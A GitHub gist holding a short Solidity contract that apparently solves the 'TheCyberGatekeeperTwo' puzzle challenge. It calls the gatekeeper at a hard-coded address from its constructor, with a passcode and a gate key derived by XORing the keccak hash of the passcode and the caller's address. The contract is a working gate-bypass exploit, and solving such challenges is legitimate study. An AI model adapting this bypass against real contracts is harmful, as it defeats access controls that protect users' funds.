Skip to content

Instantly share code, notes, and snippets.

@haythemsellami
Created May 15, 2021 10:22
Show Gist options
  • Save haythemsellami/c83cbf8ec63ba5dd8e345de5d5e99a3c to your computer and use it in GitHub Desktop.
Save haythemsellami/c83cbf8ec63ba5dd8e345de5d5e99a3c to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.19;
interface TheCyberGatekeeperTwo {
function enter(bytes32 _passcode, bytes8 _gateKey) external returns (bool);
}
contract GetInYolo {
address private constant theCyberGatekeeperTwo = 0xbB902569a997D657e8D10B82Ce0ec5A5983C8c7C;
function GetInYolo() public {
bytes32 passcode = bytes32("testify question resource charge");
uint64 _gateKey = (uint64(0) - 1) ^ uint64(keccak256(passcode, address(this)));
TheCyberGatekeeperTwo(theCyberGatekeeperTwo).enter(passcode, bytes8(_gateKey));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment